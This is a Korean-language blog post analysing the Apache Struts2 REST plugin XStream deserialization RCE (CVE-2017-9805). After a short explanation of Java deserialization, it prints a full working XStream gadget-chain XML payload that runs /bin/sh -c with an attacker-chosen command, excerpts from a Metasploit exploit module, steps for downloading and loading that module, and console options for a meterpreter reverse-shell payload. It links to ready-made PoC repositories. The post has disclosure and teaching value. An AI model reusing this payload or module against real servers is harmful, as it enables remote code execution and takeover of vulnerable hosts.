[EXPLOIT] Struts2 REST Plugin XStream RCE 취약점 분석(feat msf) CVE-2017-9805 / S2-052

최근 Sturts2 RCE 취약점이 또 나와 이슈가 되었습니다. 매번 RCE 취약점으로 고생하는거보면 안쓰럽기까지 하네요. 오늘은 따끈따끈한 CVE-2017-9805(REST Plugin XStream RCE) 취약점에 대해 이야기드릴까 합니다. 기존 분석에 비해 내용이 덜 자세하긴 하지만.. 조금이나마 이해에 도움이 되길 바라네요.

What is Deserialize?

Java에서 객체에 대한 컨트롤은 Serialize, Deserialize를 통해 이루어집니다. 이를 통해 객체를 파일로 저장하고 쓰거나 네트워크 전송에 사용되기도 합니다.

Deserialize는 역직렬화로 파일에 쓰인 객체를 Java가 로드하여 사용할 수 있게 도와줍니다. 오늘 이 취약점의 문제는 Deserialize와 XML 사이의 관계에 달려있습니다.

http://www.studytonight.com/java/images/Serialization-deserialization.JPG

※ java가 아니라 다른 언어에도 유사한 함수는 많이 존재합니다. 대표적으로 .NET의 XmlSerializer.Deserialize.

https://msdn.microsoft.com/ko-kr/library/tz8csy73(v=vs.110).aspx

Vulnerabiliby

이 취약점은 REST plugin을 이용해 통신하는 과정에서 Remote Code Execute가 가능합니다. 아주 간단한 취약점인데요. REST 통신 과정에서 데이터에 대해 체크 후 deserialize 되어야하는데, 이 체크하는 과정없이 Struts에서 REST가 사용되고 있던거였죠.

위에서 설명드렸듯이 Deserialize는 파일에 저장된 객체를 불러와 데이터로 로드할 수 있습니다.

유사한 케이스로 보이는데요, Struts2에서 REST 요청을 통해 받은 XML 데이터를 Struts의 Deserialize로 읽어 사용하는데 이 과정에서 공격자가 악의적인 코드를 포함한 데이터를 REST로 전송하게 되었을 때 Deserialize되며 객체가 로드되어 명령이 실행되는 것 같습니다.

이런 형태로 공격의 흐름이 발생하지 않을까 싶습니다.

(diff 데이터나 원 공격자가 정보를 좀 더 풀어주면 좋지만.. 아직 수집하지 못해서 이정도가 최선일 것 같네요)

Analysis Poc code(Metasploit code)

취약점 등록자가 Metasploit측으로 commit을 때려놨지만, 혹시 reject되서 날라갈까봐 미리 떠두었습니다. https://raw.githubusercontent.com/hahwul/mad-metasploit/master/modules/exploit/struts2_rest_xstream.rb

먼저 공격코드의 일부를 살펴보면

  def execute_command(cmd, opts = {})
    send_request_cgi(
      'method' => 'POST',
      'uri'    => target_uri.path,
      'ctype'  => 'application/xml',
      'data'   => xml_payload(cmd)
    )
  end

POST로 uri에 xml 요청을 던지는게 전부입니다. uri 주소는 REST API가 되겠구요. REST로 XML 데이터를 받은 Struts는 Deserialize를 진행하고 그 과정에서 객체가 로드되어 동작하게 됩니다. (REST로 오는 요청의 XML에 대해서 검증하는 부분이 추가되면 패치되겠네요)

Payload xml에는 아래와 같은 코드가 있습니다.

<next class="java.lang.ProcessBuilder">
  <command>
    <string>/bin/sh</string><string>-c</string><string>#{cmd}</string>
  </command>
  <redirectErrorStream>false</redirectErrorStream>
</next>

java.lang.ProcessBuilder를 가지고 /bin/sh를 실행시키고, #{cmd}는 공격코드쪽 부분인데 사용자가 Payload로 지정한 부분, 즉 일반적인 경우에는 쉘을 내리는 코드가 들어가게되죠.

솔직히 생각보다 심플해서 놀랐습니다.

Payload

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <initialized>false</initialized>
                <opmode>0</opmode>
                <serviceIterator class="javax.imageio.spi.FilterIterator">
                  <iter class="javax.imageio.spi.FilterIterator">
                    <iter class="java.util.Collections$EmptyIterator"/>
                    <next class="java.lang.ProcessBuilder">
                      <command>
                        <string>/bin/sh</string><string>-c</string><string>#{cmd}</string>
                      </command>
                      <redirectErrorStream>false</redirectErrorStream>
                    </next>
                  </iter>
                  <filter class="javax.imageio.ImageIO$ContainsFilter">
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>foo</name>
                  </filter>
                  <next class="string">foo</next>
                </serviceIterator>
                <lock/>
              </cipher>
              <input class="java.lang.ProcessBuilder$NullInputStream"/>
              <ibuffer/>
              <done>false</done>
              <ostart>0</ostart>
              <ofinish>0</ofinish>
              <closed>false</closed>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
  </entry>
  <entry>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  </entry>
</map>

Poc test(Metasploit code)

Metasploit에 아직 공식 코드가 올라오지 않았기 때문에 코드를 받아 msf에 적용해줍니다.

#> wget https://raw.githubusercontent.com/hahwul/mad-metasploit/master/modules/exploit/struts2_rest_xstream.rb #> mv struts2_rest_xstream.rb /[your_msf_exploit_dir]

모든 준비는 끝났고 struts2_rest_xstream을 로드합니다.

HAHWUL > use exploit/multi/http/struts2_rest_xstream HAHWUL exploit(struts2_rest_xstream) > show options

Module options (exploit/multi/http/struts2_rest_xstream):

Name Current Setting Required Description —- ————— ——– ———– Proxies no A proxy chain of format type:host:port[,type:host:port][…] RHOST yes The target address RPORT 8080 yes The target port (TCP) SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL/TLS for outgoing connections SSLCert no Path to a custom SSL certificate (default is randomly generated) TARGETURI /struts2-rest-showcase/orders/3 yes Path to Struts app URIPATH no The URI to use for this exploit (default is random) VHOST no HTTP server virtual host

Payload options (linux/x64/meterpreter_reverse_https):

Name Current Setting Required Description —- ————— ——– ———– LHOST yes The local listener hostname LPORT 8443 yes The local listener port LURI no The HTTP Path

Exploit target:

Id Name – —- 0 Apache Struts 2.5 - 2.5.12

옵션에 특별한 부분은 없네요.

Simple Poc

간단하게 루비로 짜뒀습니다. go로 짜신분도 계시네요()

[RUBY] https://github.com/hahwul/struts2-rce-cve-2017-9805-ruby [GO] https://github.com/luc10/struts-rce-cve-2017-9805

Reference

https://msdn.microsoft.com/ko-kr/library/tz8csy73(v=vs.110).aspx